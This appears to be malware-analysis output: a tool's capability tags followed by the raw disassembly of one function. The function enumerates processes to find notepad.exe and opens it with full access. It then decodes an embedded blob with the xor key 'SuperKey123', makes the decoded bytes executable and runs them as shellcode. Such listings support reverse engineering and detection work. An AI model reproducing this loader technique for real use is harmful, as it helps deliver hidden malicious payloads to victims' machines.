Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x30], rax
xor esi, esi
mov dword [rsp + 0x28], 0
lea rcx, str.NTDLL.DLL
mov dword [rsp + 0x20], esi
mov dword [rsp + 0x24], esi
xor ebp, ebp
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtQuerySystemInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x1400012ef
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
lea ecx, [rsi + 5]
call rdi
mov ebx, dword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, ebx
lea edx, [rsi + 8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x1400012ef
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x24]
mov rdx, rax
lea ecx, [rsi + 5]
mov r14, rax
call rdi
test eax, eax
jne 0x1400012ef
lea r8, str.notepad.exe
nop
cmp word [rbx + 0x38], si
je 0x1400012dd
mov rdx, qword [rbx + 0x40]
xor eax, eax
movzx ecx, word [rdx + rax*2]
cmp cx, word [r8 + rax*2]
jne 0x1400012dd
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [r8 + rax*2 + 2]
jne 0x1400012dd
add rax, 2
cmp rax, 0xc
jne 0x1400010d0
mov esi, dword [rbx + 0x50]
xor edx, edx
mov r8d, esi
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
test esi, esi
je 0x1400012ef
test rbp, rbp
je 0x1400012ef
xor eax, eax
lea rbx, [0x140004040]
xor edx, edx
lea r8, str.SuperKey123
nop word [rax + rax]
xor ecx, ecx
cmp rax, 0xb
cmovb rcx, rax
movzx eax, byte [rcx + r8]
xor byte [rdx + rbx], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 0xb
cmovb rcx, rax
movzx eax, byte [rcx + r8]
xor byte [rdx + rbx + 1], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 0xb
cmovb rcx, rax
movzx eax, byte [rcx + r8]
xor byte [rdx + rbx + 2], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 0xb
cmovb rcx, rax
movzx eax, byte [rcx + r8]
xor byte [rdx + rbx + 3], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 0xb
cmovb rcx, rax
movzx eax, byte [rcx + r8]
xor byte [rdx + rbx + 4], al
lea rax, [rcx + 1]
xor ecx, ecx
cmp rax, 0xb
cmovb rcx, rax
movzx eax, byte [rcx + r8]
xor byte [rdx + rbx + 5], al
add rdx, 6
lea rax, [rcx + 1]
cmp rdx, 0x1f8
jb 0x140001150
xor ecx, ecx
mov edx, 0x1f8
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1400012ef
mov rcx, rax
mov edx, 3
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rbx]
lea rbx, [rbx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rbx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rbx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rbx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rbx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rbx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rbx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rbx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140001215
movups xmm0, xmmword [rbx]
lea r9, [rsp + 0x28]
mov edx, 0x1f8
mov r8d, 0x40
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rbx + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rbx + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rbx + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rbx + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rbx + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov rax, qword [rbx + 0x70]
mov qword [rcx + 0x70], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1400012ef
call rdi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x1400012f4
mov eax, dword [rbx]
test eax, eax
je 0x140001110
add rbx, rax
jmp 0x1400010c0
mov eax, 0xffffffff
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140001330
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret